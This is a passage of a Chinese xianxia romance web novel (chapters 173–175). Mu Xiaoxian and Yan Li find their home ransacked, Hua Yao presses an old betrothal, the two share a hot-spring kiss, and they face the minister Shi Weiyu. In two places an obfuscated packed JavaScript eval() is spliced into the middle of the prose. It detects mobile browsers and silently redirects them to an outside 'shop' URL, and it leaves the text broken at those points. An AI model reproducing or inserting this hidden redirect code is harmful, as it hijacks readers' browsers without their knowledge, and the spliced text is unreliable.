慕小闲不宜在越仙谷久留,唯恐招来魔兵,所以与仍留在此处的云魁、云姬一一作别。 祥云一鼓作气飞至竹隐山下,两人刚一落地便觉得气息不对,竹隐山的结界已然被破解。 山上寂静,不见一点生灵的气息,整座山仿佛陷入了沉睡。 慕小闲与晏离对视一眼,在双方的眼中看到了凝重。 院外的栅栏东倒西歪,竹屋里像是遭了贼,屋内一片狼藉。 屋子倒塌了一角,可惜了晏离收藏的书画,零零散散地落了一地,地上铺满了碎裂的纸片。 “小黄瓜?"慕小闲皱眉在竹屋四周搜寻她的小兔崽子。 屋子周围找了一圈,不见小黄瓜的踪迹,慕小闲心里干着急,却知道此时没有踪迹或许是个好消息。 “是谁做的?”慕小闲带着怒气问道。 晏离微微蹙起眉,在书中翻找什么,只见他从散落的书堆中,捡起一本小册子。慕小闲一愣,那不是神修小册子吗?她记得她把这本书垫在了床腿下面。 慕小闲脸一红,抢过小册子:“都这个时候了,能不能认真一点。” 晏离眼中闪过一丝戏谑,说:“我何时不认真了?” 晏离看了眼塌方的房子,一挥手,房子迅速膨胀起来,散落的书页渐渐合拢,一个一个回到了架子上。 “约莫是长乐宫的人。” 慕小闲:“这么说,是苏怜漪和殷乐派人来干的,他们应是想要抓住我们,见我们不在,不想空手而归,就洗劫了竹屋?” 她攥起拳头忿忿地说,:“我不找她们算账,他们反倒找起我们的麻烦。要是小黄瓜有个好歹,新仇旧恨,我要全部算在殷乐和苏怜漪头上。只是现在他们找到了竹隐山的位置,这里恐怕不安全了。” 晏离点点头,思忖道:“我们去找十一。” 隐蔽在山间的狐狸洞静悄悄的,门口竟然无一侍卫。一阵风呼啸而过,在洞中肆意地穿梭,像是很久没有人气一般。 风过林梢,拂过慕小闲的衣摆和袖口,直往她的心里钻。她与小十一的关系虽然并未展现在殷乐和苏怜漪面前,但若是要查则轻而易举。如果魔族寻不到她与晏离,或许对小十一下手。 狐狸洞几个山洞互相连通,其间物品摆放整齐,没有斗争的痕迹。不过考虑到小十一仙术不精,也有可能无从招架就被掠走,仍然不能掉以轻心。 走到山洞的尽头,远远一束亮光打进洞内,竟然柳暗花明,又是一副天地。拂过如水瀑一般的藤蔓,躺着一块宽敞的草地。草地旁有一处小亭,背后藏着郁郁葱葱的绿林。 若说方才的狐狸洞中没有异常的痕迹,那么这块草地上几处裸露的焦黑地皮就显得不那么寻常了。 慕小闲屏息凝神,警惕地望向四周。 清风在林间肆意穿梭,垂在枝头的树叶随风抖动,沙沙作响。 有人...... 一个黑影从林中缓缓走出...... 感觉不到他的气息, 是魔族吗? 他身后的草丛突然抖动了一下,冒出一个白绒绒的小脑袋,砰的一声,一个矮小的身影跌坐在草丛上。 慕小闲迟疑了一下,那好像......是小十一? 小十一站起身,揉了揉屁股,望向慕小闲和晏离,惊喜地叫道:“叔父!慕小闲!” 他越过那个黑色的人影,飞奔向慕小闲和晏离,那个黑色人影却停在原地不再向前。 小十一扑到慕小闲跟前,被晏离的眼神制止,悻悻地收回手:“你们怎么来了?是不是想我了?我就说你们不能少了我,你们偏不信。这次你们就算求我,我也不会再回去,我可是青丘小霸王小十一,怎么能被你们呼之即来挥之即去?不过如果你们真的需要我,倒也不是不能打个商量......" 他这活蹦乱跳的样子好像并没有遇到魔族。 慕小闲松了一口气,转而说:“我们被人盯上了。” 刚才还在滔滔不绝的小十一,愣怔了一下,目光在晏离和慕小闲之间来回拉扯:“你们是来我这里避难的?我就知道你们没这么好心,这时候想到我了?你们惹了什么人?” 慕小闲摊了摊手:“你还是不要知道比较好。” 小十一看看慕小闲又看看晏离:“叔父,是她招惹的人对不对?她连累了你,你就任由着她胡来?” 晏离问:“你觉得......应该怎么办?” 小十一深吸一口气:“把她赶出去吧......”说完,小十一就被慕小闲拎起来,一脚踹了出去。 小十一跌坐在地上,恼火地揉了揉小脑袋,余光瞥见一抹黑色出现在他身前。 黑底金丝勾勒的靴子径直从他身边走过,青黑色的衣袍随风轻动,带着不怒自威的气势,一步一步向慕小闲缓缓靠近。 他的目光锁在慕小闲的脸上,似乎迫切地想要确定什么,又带着几分犹豫,眼底是复杂又黯然的神色。 他走到慕小闲身前,迟迟没有说话,眼神变了几变,眼底似有暗潮涌动。 见到他的那一刻,慕小闲恍然间好似回到了数年前,她站在一片茂盛的桃林前,面对那个她一无所知的天庭上神。 他抬起那双如寒潭般深不见底的眼眸,眼中倒映着她不再青涩的模样,经年已过,他们身份已然变化,再见时竟有些无语凝噎。 慕小闲惴惴不安地坐在小亭中的石桌旁,左边坐着淡定从容的晏离,右边坐着神采奕奕的华尧,对面是看热闹的小十一。一边是前世糊里糊涂的未婚夫,一边是前世今生求之不得的爱慕对象,还有一个白捡来的小侄子,这个关系怎一乱字了得。 “你怎么会来这里?”慕小闲问。 华尧扫了一眼对面的两人:“我不知你在何处,思来想去或许小十一能联系上你,便来了。”又瞥向亭外草坪:“来狐狸洞后,发觉附近有人埋伏,想要悄悄潜入狐狸洞绑架小十一。 “我不便暴露身份,但也不会坐视不管,所以使了些法子,将他们赶走了。”华尧不动声色地打量着慕小闲的神情,似乎在揣摩这件事与她有何关系。 慕小闲心道,关系可大了去了,若不是华尧刚巧在场,殷乐和苏怜漪日后一定会拿小十一作要挟。 “他们是谁?”华尧挑了挑眉。 慕小闲嘟囔道:“我怎么知道。” 华尧不语,依旧用一种深沉中带着探究的目光看她,似乎在等她的解答。可慕小闲现在与他的关系委实尴尬,他表现得越是沉稳,她心里就越紧张,他若是发疯和她大吵一架,说不定她心里还能痛快几分。 慕小闲有些招架不住华尧的眼神,不着痕迹地躲开:“你找我们有何事?” 听听这话说的,颇有几分见外。 偏偏华尧强势,目光如炬地望着她,丝毫不在意在场的其他人。 “我听到了一些十分荒谬的小道仙闻……”华尧顿了一下,似乎在观察慕小闲的反应。 慕小闲举杯放在唇边,心里暗暗骂道:他定是知道了我是白瑶的身份,故意来试探我。某些人怎么这么八卦呢? “他们说你才是白瑶。”华尧语气坚定,不像是试探,倒像是当众宣布她的身份。 小十一手中的杯子跌落在地上,发出一声惊慌失措的脆响。他瞪着圆溜溜的眼睛,看看慕小闲,又看看华尧,再望向晏离求助:“白什么?什么瑶?他在胡说什么?” 这可把慕小闲整乐呵了,她撑在桌上笑道:“哦?你信了?” 华尧静静地望着她,把慕小闲看得有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493641|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自在。 华尧沉默须臾:“不得不信。” 慕小闲敛了笑容,坐直身子:“你是怎么判断的?” 华尧凌厉的目光瞥向晏离,咬了咬牙,沉声道:“你若不是白瑶,他为何这般护着你?” 慕小闲拿余光偷偷撇了一眼淡然自若的晏离,心里涌上几分窃喜。 “就不能是我天生丽质纯真无邪,让人忍不住呵护吗?” 华尧嗤笑一声:“天界从不缺少天生丽质纯真无邪之人,但你不是。” 慕小闲冷哼道:“说的不错,我是天上地下独一份的慕小闲。” 华尧眼中闪过一丝刺痛,她没有承认自己就是白瑶,但却强调了她是独一无二的,是不是在讽刺他,明明早早就遇见了她,却没有认出来? 小十一抱着头左瞧瞧右看看,哀嚎一声:“你们在说什么?这到底是怎么回事?”他啪的一拍桌子,从凳子上跳起来,指着对面的慕小闲叫道:“你们说她是白瑶?是我知道那个白瑶?” 慕小闲点点头:“不错。正是本人。” 小十一肉眼可见地一点一点崩塌,身体从凳子上滑下来,幼小的心灵受到了强烈的冲击。待他瘫倒在地,又猛地跳起来,眼睛一亮:“是不是慕小闲用了什么邪术,和你交换了身体?” 可怜的孩子还在挣扎。 慕小闲咳咳两声:“认清现实也是一种成熟的表现。我是慕小闲,也是白瑶,而宫里的那位.......是个冒牌货。” 小十一哀嚎道:“不可能啊,你这么蠢......"这一次,他收获了三枚冷酷的眼神,顿时觉得狐狸洞如同冰窟。 或许是因为小十一在场,华尧不再多问。 狐狸洞冷冷清清,一问才知道小十一的爹娘出门云游,只派了几名侍从看管他,盯着他做功课,没想到被他想方设法赶回家去了。 诺大的狐狸洞只有他一人,若不是华尧出现及时,后果不堪设想。 在小十一的哭天抢地下,在几位长辈的冷静决议下,决定暂且不将此事告诉他爹娘,免得打草惊蛇。 几人暂且留在狐狸洞。 夜里狐狸洞内不透光,伸手不见五指,慕小闲半夜醒来睡不着,索性起身,走到洞后的草地,望着头顶的一轮浅淡的月色发呆。 月凉如水,莹莹光辉落在她身上,如同附上一层轻纱。虽然周遭几乎没有声响,但慕小闲却知道不远处有人。 从她走出狐狸洞后便一直在暗处静静望着她。 慕小闲有几分无奈,她有什么可看的,他为何目不转睛。 黑影从林中漫步而出,走到慕小闲身侧时犹豫了一下,脚步有几分局促。 华尧垂眸瞥了她一眼,冷沉道:“我睡不着,起来走走。” 昏暗中,他一双犀利的眼睛像暗中蛰伏的狼一样,闪烁着意味不明的幽光。他走出林间阴影,流光似水落在他微湿的发尖,紧紧贴在身上的劲装勾勒出强健的身型,胸口因方才在林中练功微微起伏,倒是别有一番滋味。 慕小闲狡黠地笑了:“是么?” 华尧没有接她的话,目光也未从她身上挪开,眼中那一丝带着侵略性的压迫,让慕小闲有些不自在地眨眨眼睛。 “怎么?我脸上有东西?”慕小闲问。 她与刚上天时样貌变化了不少,和白瑶原本的样貌越来越相似。 华尧心中烦闷,忍不住拧紧眉头:“你想起以前发生的事了吗?” 慕小闲摇摇头:“我看到了一些过去的记忆,但终究不是我自己的。不过,我已经相信自己是白瑶了,这就是为什么我会白日升天。” “是......晏离?”华尧迟疑道。 慕小闲坦然点点头:“是啊,是他。”那个在囚仙印封印之下,日复一日找寻了她上千年的人,尽自己所有的力量,幻化成一道虚影出现在凡间的十字路口,将一无所知的她带上天界。 虽然降落的目的地出现了一些小问题,但他们在千年后终究重逢了。 174. 第 174 章 华尧看得出来,不过数月未见,慕小闲与晏离之间仿佛织成了一张细密的网,将旁人隔绝在外,无法介入。 他攥成拳的手不觉紧了紧,烦躁地问:“当年到底发生了什么?现在的青丘之主究竟是什么人?” 以慕小闲对华尧的认识,他虽然不会乱嚼舌根,但终究是天庭的人。青丘之主被魔域端了这种丑闻,还是埋葬在青丘比较恰当。 她露出一个戏谑的笑容,带着些许讽刺的意味解释道:“偷梁换柱,狸猫换太子,凡间的话本用烂了的题材,少了些新意,但经典依然是经典。当年发生的事也许有一天会公之于众,不过不是现在。如今那位青丘之主是谁不重要,重要的是,我回来了。” 慕小闲一旦开始顾左右而言他,就代表她在此事上并未将华尧看做自己人,甚至还在两人之间筑起了一层隔阂。华尧不禁想,她在晏离面前也会如此戒备吗?她在晏离面前是否会收起一身的锋芒? 华尧看着她的眼睛,似乎想要透过她的神情,将她看个真切。 “你以为不告诉我,我就查不到吗?” 慕小闲无所谓地回望他:“威胁我也没用,不该说的我一个字也不会说。” 华尧的眼神闪了闪,继而沉声道:“青丘现在夹在天庭与魔域之间,既可以是盟友也可以是敌人,位置着实尴尬。而你是天界近万年来唯一的变数,或许你就是打破三地僵局的关键。” 华尧说的不错,现在的青丘看似一片祥和,实则在殷乐和苏怜漪的影响下,金玉其外败絮其中,对外甚至连金玉也算不上。天庭与青丘无结盟之意,暗中还监视着青丘发生的一切。魔域与青丘暗中勾结,还时时防范慕小闲复辟。 谁都想要拉拢青丘,谁都能踩上两脚。 此时慕小闲若是推翻了殷乐的管制,天界定然地动山摇。 慕小闲扯了扯嘴角:“我怎么不知道,我有这么大的本事?” 华尧突然上前,身躯掩住月色,俊朗的面庞近在咫尺。慕小闲退了半步,被身后的树干堵住去路。 “小闲......” “我很怀念,你在鎏华殿的日子。”华尧突然没来由地一句。 “你初上天庭时什么也不知道,霸占着我的宫殿,好像要住许多年一般。你将我的衣物搜刮了一通,嚷嚷着要找手机电脑,天界哪里有那些玩意儿。”华尧轻笑一声,低沉的声音在黑夜中显得格外动人心弦。 “我的宫殿一向无人敢靠近,你来了之后就变得不太平。不久,那片桃林也渐渐有了人气,许多仙家都想一窥究竟,不过他们畏惧我的威严,只敢远远观望。” 慕小闲想到那时自己明明对一切都很陌生,却还装作什么都不怕的样子,不禁笑出了声。 “天街上,你没有等在原地,我在人群中找到你,没想到你不知从哪里骗来了许多衣物和吃食。” 慕小闲没有告诉华尧,那个在天街给她买衣服的人甚至是魔族。她点点头:“我不论在哪里都能找到饭票。” 华尧微微叹了口气:“是么。” 慕小闲点点头:“是呀,后来误入了桃林,被那土地老儿送来了青丘。你还别说,他怎么知道我是青丘的人?” 华尧迟疑了一下:“或许,并不是土地将你送来青丘。” “难道还有别的人想让我来青丘?”慕小闲话音一收,突然倒吸一口气,确实有一人,想方设法让她回到青丘。 晏离。 慕小闲在天庭见过他的分身,也许从她升天开始,晏离就隐藏在她的周围,一直想找机会将她带回来。 “我追你到青丘,看见凤钰正对你欲行不轨......" 慕小闲打断道:“不是欲行不轨,他是故意做给你看的。” “凤钰生性放荡,不论他想做什么,看到他在你身边,我觉得着实碍眼,甚至感到一丝心慌。或许,我不想看到你身边是除我之外的任何人。” 慕小闲听得津津有味,上扬的嘴角突然僵住,望向华尧的眼睛。他目不转睛地看着她,那双幽黑的眸子像是一团漩涡,要将两人卷入深渊。 慕小闲约莫察觉到了华尧欲言又止的深意,但她委实不知该如何面对,打岔道:“心慌是病,得治啊。” 华尧没有接她的话茬,继续说:“我时常想,若是当时没有让凤钰将你带走会不会......” 华尧是个聪明人,他没有说怀念当年初识白瑶的日子,而是勾起了慕小闲刚上天界时的回忆。 白瑶已逝,往事不可追,如今有且只有慕小闲。 “小闲,我是你上天之后遇见的第一位神官,我以为我们之间是有信任的。”华尧微微低下头,话音带着轻微的气息落在了她的耳边。 华尧还想说什么,却突然停住,眸子挪向幽暗之中的某处,微微撇了下嘴角。他伸手轻轻揉了揉慕小闲的头发:“你要记住,我从没害过你。” 周围的空气陡然冷了几分,慕小闲打了个寒噤:“我要回去了。”裹紧衣服走回狐狸洞,在进门的时候侧头回望了一下,华尧依旧站在树下朝着她的方向,如一座静默的石像巍然不动。 一觉睡到晌午,柔和的阳光穿过一层层树叶落在草地上,洒下点点的光斑。阳光落在慕小闲的发梢,在她身上染上了一层缱绻的温暖。 走出狐狸洞时,晏离与华尧居然在小亭中对弈,小十一在两人身边观摩,见慕小闲起身,冲她喊道:“慕小闲你心真大,竟然一觉睡到了现在。” 慕小闲睡得晕晕乎乎,见晏离与华尧安坐在亭中,甚至怀疑自己出现了幻觉。 她疑惑地挪到晏离身后,目光落在棋盘上,忽然眼角一跳。棋盘上黑子气势汹汹,以雷霆之势控制着盘中局势,而白子看似低调,实则暗藏锋芒,每当黑子将要占领高地,它就在四周暗暗使绊子。 不争风头,也不落下乘。 慕小闲勾起唇角,忽觉对面的华尧忍着怒意在看她,又装作若无其事的样子。 就在华尧分神看她的时候,晏离执白子啪嗒一声落在棋盘上,随着小十一倒吸气声,慕小闲低头一看,白子赢了半子。 华尧冷哼一声,将手中的黑子丢下,对慕小闲说:“昨晚我说的可有想好?” 昨晚?小十一滴溜的眼睛在两人身上来回扫射,他们昨晚不是回房了吗?难道还发生了什么?然后又偷偷看了一眼面无表情的晏离,叔父知道吗? 昨晚华尧说的,慕小闲不是不明白,但是他突然示好,除去他个人的想法,实则代表的是天庭的利益。 “我还没想好。”慕小闲坦言。 华尧又道:“我可以等你忙完手头的事情。” 慕小闲点点头:“确实要早点准备。” 华尧顿了一下,接着说:“你我的婚事不急,有我在,天庭不会难为你。” 慕小闲一愣,抬起头,眨了眨眼睛:“什么婚事?” 华尧从容地看了晏离一眼,对慕小闲说:“我是不是忘了说,我还没来得及退婚?不过,现在应当是不用了。” 晏离凝眉看向华尧,眼中带着不悦,似乎在等一个解释。 慕小闲咬咬牙,冷声道:“你和白瑶的婚约,和我有什么关系?” 华尧淡然回道:“你迟早有一天会回到那个位子,我们的婚约依然有效。” 晏离撇下一枚棋子,拂袖起身,向狐狸洞走去。那翩然的背影,那缥缈的白衣,那绰约的风姿,慕小闲知道他生气了! 前世,白瑶在离开晏离之后,没有拒绝华尧的提亲。那时,晏离没有表现出异样,现在看来,他不是全无感觉。 慕小闲心里乐开了花,晏离越是生气越是说明他对此事心怀不满很多年了! 慕小闲冲小十一使眼色:“小十一,去帮我看看你叔父。” 小十一应了一声,疑惑地看了一眼华尧,追着晏离回到狐狸洞。 “你是故意的吧?”慕小闲冲华尧挑了下眉。 “就因为晏离刚才赢了你半子,你就故意气他?” 华尧深深看了慕小闲一眼:“也不全是,我并非是为了气他,我是在提醒你。” “提醒我什么?”慕小闲反问。 “婚约未退并非是假。” 慕小闲哽了一下,小声说:“你一个大男人动作怎么这么慢呢。” 华尧抬眉:“你说什么?” 慕小闲微微叹了口气,突然换上一副正经的神情看向华尧,想与他解释清楚:“......” 华尧开口打断:“与我合作有何不好?你现在孤身一人,那些荒诞的故事听听也就罢了,有几人会当真?你想将现在那位白瑶赶走,需要借助天庭的力量。” 慕小闲拧眉:“你想与我合作?” 华尧一身浩然正气,语气、眼神没有丝毫闪躲:“你是天后的亲侄女,亦与我有婚约,只要能证明你的身份,天庭必会帮你。你大可以借天庭之力,解决当下青丘的困境。” 魔域与她有血海深仇,她现在无权无势,若是能与天庭联手,或许能够更快打破如今的僵局。她此时腹背受敌,华尧愿意出手相助,她理应感激。 但这是华尧的一己之见,天帝若是想借此机会趁虚而入,说不定青丘和魔域都得打包一起完蛋。 华尧虽然是天庭第一武神,但也架不住功高震主,加上与青丘之主的婚事,天帝对他没有半点忌讳,慕小闲是不信的。 说到底还是她当年刚升天时,在春桃宴那一遭坏了对天庭的印象。 慕小闲悄悄拉开与华尧的距离,此番疏离的举动落在华尧眼中,又变了味道。 “你就如此不信任我?”华尧心上一沉,眉毛压着黝黑的眼眸,染上一层薄怒:“上一世你与晏离相识早,在一起相处许多年,我知道你与他有情谊,但是这一世可是我先遇见你的。” 华尧朝慕小闲进了一步,盯着她的双眸,语气中带着威压:“昨晚我同你说了这么多,难道你一点感觉都没有?” 华尧咄咄相逼,好像一座大山压了下来,慕小闲咬了咬牙,说道:“我不想和你吵架,你也别逼我。我不记得从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519602|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前发生的事情,我们的婚约做不得数,等我夺回属于我的位子,就会向天庭说明。” 华尧闻言,眼中多了一抹刺痛:“你就这么想与我撇清关系?” 这么一说,倒像是她辜负了华尧的情谊。慕小闲抿了抿嘴:“我不是想要撇清和你的关系,而是站在青丘与天庭两地的立场,我们之间不宜有太多纠葛。而且......”慕小闲叹了口气:“上一世白瑶死后只有晏离一人一直记着我,在天上地下没日没夜地寻我。要真说起来,这一世也是他先找到的我。” “你说什么?”华尧瞳孔一震。 慕小闲深吸一口气:“是他将我带上天庭,我与他曾在人间见过一面。” 华尧目光闪烁,心中又沉了沉,转而嗤笑一声:“那又如何?他说的好听是与世无争,说的不好听便是无权无势,你若是有朝一日回到青丘之主的位子,他也无法给予你半点支持。你可知道未来的路会有多难走?” 慕小闲莫名觉得好笑,素来只听闻男子为了权势抛弃家中的糟糠之妻,哪里来的女人为了仕途撇开身后的男人,她自然和那些背信弃义的渣滓不同。 华尧两次与她错失姻缘,她若是现在应承他们的婚事,就是在利用他。华尧虽然与她立场不同,但他有一句话说的不错,他没有害过她。 “我知道未来会很艰难,但这不是离开他的理由。”慕小闲说的轻巧,落在华尧耳中不是滋味,好不容易捧出的真心被摔在了地上,心中艰涩难耐。他不明白为何前世今生不论晏离何时出现,慕小闲都没有考虑过他。 华尧仍坚持:“我不会输给他。” 慕小闲淡然笑道:“感情开始论输赢,就已经输了啊。” 华尧忿忿地说:“你一定要这样与我说话吗?” 慕小闲轻哼一声,漫步走出亭子:“神仙拥有无尽的寿命,却也过不明白,有些事情想的不比凡人清楚。” 华尧走得匆忙,不知是天庭催促他回去,还是他在这里待不下去。不论是哪一种,现在对他来说,远离慕小闲或许是件好事。 夜里寒气重,慕小闲在狐狸洞没见着晏离,便问小十一他去了哪里。小十一这孩子打小就懂事,支支吾吾地给她指了个方向,神色颇有几分怪异。 狐狸洞在半山腰上,四周都是树林,藏得隐蔽。慕小闲朝着林中漫步半晌,周身空气渐渐变得湿润,草叶上凝着一层薄薄的水珠。 复行几步,朦胧水汽扑面而来,竟然有些温热。慕小闲心中一喜,难道山里有温泉? 她迫不及待地走到水边,微微蹲下身伸手探了探,一股暖意慢上手掌。 还真有这样的好地方。 “哗啦”一声,水中仿佛一虚影涌动,在升腾的乳白色水雾中若隐若现。 虚影泅水而来,停在她身前,似真似幻的身影渐渐清晰起来。水雾间他冷傲的身影如同一只遗世独立的白鹤,可远观不可亵玩,不知何处拂过一阵清风,缭绕的雾气微微晃动,仿佛白鹤将要展开双翼羽化登仙。 慕小闲心里没来由地一慌,伸手去抓,触碰到他未着寸缕的胸膛,又如触电般收回手挪开视线。 她局促道:“我不知你在沐浴。” 未等到晏离的回应,慕小闲以为是他被打扰不愿理她。她不敢逗留,硬着头皮起身:“我先回去了。” 脚下一退,手腕忽然被攥住,又拉回了原位。这一退一拉,慕小闲与他近在咫尺,目光是想避也避不开了。她脸上浮现一抹红晕,稳了稳心神,故作淡定:“晏离,你......怎么了?” 晏离的眸光如水一般波动,他望着慕小闲的眼睛,薄唇轻启:“喜欢我吗?” 慕小闲一愣。 那双泛着烟波的眼眸,褪去了往日的冰冷,染上了似水温柔,他近了半步,停在慕小闲面前,深深地凝望着她的眼睛。慕小闲呼吸一滞,像是被他的眼眸吸了进去,无法挪移自己的目光,心脏砰砰直跳。 “......” 晏离温热的气息拂面而来,他微微垂眸,视线似乎落在了她的唇上:“说你喜欢我......” 晏离在勾引她吗? 怎么可能...... “我......”慕小闲紧张得说不出话。 “我不......唔......” 柔软的唇瓣落下,堵住了她的话音,在氤氲的雾气中,温热的触感带着柔情与缱绻一点一点与她缠绵厮磨。眼前那双睫毛像蝴蝶翅膀一般轻轻颤动,在慕小闲犹豫之间,双唇带着一丝期盼与不安,追逐着她,让她节节败退。 晏离似不满她的反应,微微蹙了下眉。 扑通一声,她落入水中,溅起的水花打湿了她的衣襟,还未来得及反应,后腰便抵在岸边,退无可退。 她的双臂不知何时攀上他的肩,在疾风骤雨中悄然安抚着他的不安,回应他的期盼。 晏离微微睁开如雾的眼眸,眼中倒影让他心头一颤,如同过电般的欣喜流向四肢百骸。 这一刻他等得太久了。 175. 第 175 章 “世风日下,成何体统!”厉喝如刀,斩断枝上细叶,悠悠飘落林间。 无人敢应一声,慕小闲、晏离、小十一三人装作没听见似的,或垂头、或仰头,皆望向别处作神游状。 身着灰色开衫长褂,神情冷肃、说话一板一眼的女子,见他们没有半点悔过之意,手中的半月刀划过一道银辉,刺入近旁粗壮的树干。 小十一看着树上入木三分的裂痕,咽了咽喉咙:“施姨,究竟发生什么了,您怎么发这么大的火?” 施未羽不与孩子一般见识,狠狠瞪了慕小闲一眼,但对方不仅没有领会到,反而神情很是轻快,若是给她插上一对翅膀,恐怕都能飞上天了。 另一位看似清冷孤傲的晏家公子,此时披散着一头长发,恍若冰雪消融,眼角眉梢染上一丝慵懒的惬意,也不知听进去几分。 施未羽压下心中的怒气,冷声问道:“你找我来何事?” 慕小闲恍然回神,瞥了一眼小十一:“他没人看顾,恐怕会生事端,所以劳烦施大人领走照看几日。” 施未羽手上的刀气得发颤,将刀横过来,噌的一声,刀尖挑向慕小闲的下巴:“你找我就为了这事?” 慕小闲被迫仰起头,双指夹住刀刃,将它轻轻挪开,笑道:“施大人声名远扬,这不一有事,我就想到您了吗?” 施未羽眼神如鹰,将慕小闲上上下下看了个仔细,越看脸色越沉,握刀的手骨已然泛白。 慕小闲垂眸一扫:“施大人火气这么大,不会是几夜没睡好吧?” 她话音未落,施未羽手中的弯刀突然祭出,刀光顺势向慕小闲袭来。 慕小闲向后一仰,与晏离一个错身,躲去了他身后。 施未羽双眼冷沉,看向挡在慕小闲身前的晏离:“晏家公子,你也被这个妖女蛊惑了?” 慕小闲小声嘀咕道:“怎么能叫蛊惑呢,分明是心甘情愿......” 晏离淡然瞥了她一眼,慕小闲立刻噤声,转头对施未羽道:“施大人究竟对我有何不满?为何一见我就追着不放?” 半月刀悬空对准慕小闲,反射的冷辉落在她的脸上,她悄悄挪开半步,那刀锋便跟着她偏移,像是吃定了她一般。 “为何?”施未羽冷声道:“现在妄议青丘之主的言论是不是你放出的!” 慕小闲装蒜道:“哎呀,原来是这件事。施大人不说,我都快忘了。” “你!”施未羽被气得不轻,眉头拧得更紧:“你白日升天身份不明,竟敢放出谣言祸乱青丘,速速跟我回去认罚!” 慕小闲眯了下眼睛,蓦地收起吊儿郎当的神态,抱起双臂,眼中浸上了一层寒意:”谁说那是谣言了?” 施未羽的刀骤然靠近了几分,锋利的刀尖对着她的瞳孔,她分毫未躲。 “不是谣言?那就拿证据出来!” 若慕小闲有证据,她何须偷偷摸摸约施未羽出来?她反问道:“施大人,我想问你一个问题。青丘之主是谁,真的重要吗?” 施未羽不明白她是什么意思,狭眸怒道:“当然重要!青丘之主世世代代由白家传承,统领青丘事务,维护青丘稳定,保护青丘子民!你连这都不懂,却敢口出狂言?” 慕小闲冷眸望向她,眼神比先前深而沉,竟透出淡淡的威压:“现在的青丘之主和先前比真的分毫不差吗?还是说,如今的青丘之主更得施大人的认可?” 施未羽神情一滞,将这数百年来的记忆细细揣摩,若说差异她不是没有发觉,可她以为是白瑶继任青丘之主后逐渐转了性子,还觉得孺子可教也。不对,她被这妖女绕进去了,就算有差异也未必是假的。就算有假,这妖女也不可能是真。 “差不差不是你我说的算,你若交不出证据,我这就拿你回宫审问。” 慕小闲不与她争辩,接着问道:“施大人,你作为青丘右相,对现今青丘境内发生的事了解多少?” 施未羽道:“现今青丘境内八十六座山脉,十七条河流,皆有神官看守,我若想知道不过半日便能得到消息。你问这些做什么?” 慕小闲长吁一口气,摇摇头:“施未羽,你身居高位,本应协助青丘之主管理一切大事,可你对上未能看出主上的怪异,对下放任魔族侵入青丘领地,你这个右相当得可真轻松啊。” 施未羽沉下脸:“你说什么?” 此时慕小闲的神情又冷了几分:“施大人,我与晏离亲眼所见,魔兵在越仙谷驻扎,正在谋划进一步蚕食青丘呢。” 施未羽瞥了一眼晏离,见他面色不改,眼中渐渐凝聚起风暴:“竟有此事?我会去查明。” 慕小闲冷哼一声:“等你过去,他们早就转移阵地了。青丘八十六座山脉,十七条河流,你能全部搜索一遍?”说完,她忽然想起晏离曾在这片大地上一寸一寸搜寻过她的踪迹,不由心里一酸,瞥开脸去:“施大人,我知道你不信我,但是我想要维护青丘是真的。以你的身份接触长乐宫的事务并非难事,我只愿你万事留心,不要让自己陷入不忠不义之地。” “你......”施未羽顿时脸色一白,咬牙道:“你说的我会去查明,若是你所言有半点虚假,就算追到天庭,我也要你认罪。” 慕小闲挑了挑眉,对她的话不置可否。 “施大人。”晏离出声道:“没有办法证明白家的身份吗?” 施未羽口气依旧强硬:“白家世世代代为青丘之主,他们的身份何须证明?若非永昭殿下回来......”施未羽眼珠一转,不再继续往下,握着半月刀的手又紧了紧,目光突然向慕小闲扫来。 慕小闲暗道一声糟糕,飞身一跃,徒手一挥挡下施未羽的刀风。 施未羽欺身而上,从层层叠叠的枝叶间跃出,顷刻之间就至她眼前,刀光晃眼,一股强劲的仙力随之直冲她面门。慕小闲知道她是想试探自己,不再退让,而是将仙力化成一柄利剑,剑花纷飞,快得几乎捕捉不到,却将半空中迎来的攻击一一击落。 刀光剑影纷杂错乱,慕小闲不耐烦下,收起剑扬袖一挥,一道仙力将刀风一裹,咽了下去。 施未羽目不转睛地看着她的动作,眼色微变,倾尽全力一击,破开她的仙力,擦着她脸颊而过,断了她一截扬起的发丝。 晏离拦在施未羽身前:“施大人,你想看到的已经看到了,手下留情。” 施未羽试探慕小闲,是想看白家仙术在她身上如何体现,或许能看出些端倪。晏家公子说的不错,自她上次见过这妖女,过了短短数月,她的进步相当惊人,体内的仙力与白家仙术融合得很好。可是,这又能说明什么? 施未羽的疑虑仍未消散。 慕小闲缓缓飘落,见施未羽凝眉思索的模样,眼珠一转说:“施大人,我已今时不同往昔,又有晏离在场,今日你是无论如何也无法将我带回宫去。不如这样,我们打个商量。如今我无法证明我的身份,青丘之主也无法坐实她的身份,你且给我些时间,让我证明给你看。若是我做不到,你再多带些人来抓我也不迟。” 施未羽冷哼一声:“缓兵之计,你倒是用得好。”她未答应,而是瞥了一眼不远处的狐狸洞道:“十一殿下我会看顾好,你们......好自为之。” 清风拂过林梢,畅通无阻地穿过偌大的狐狸洞,在素色衣摆上留下如波涛般缠绵的痕迹。 两道身影立于林中,望着施未羽离开的方向,晏离道:“施未羽信了吗?” 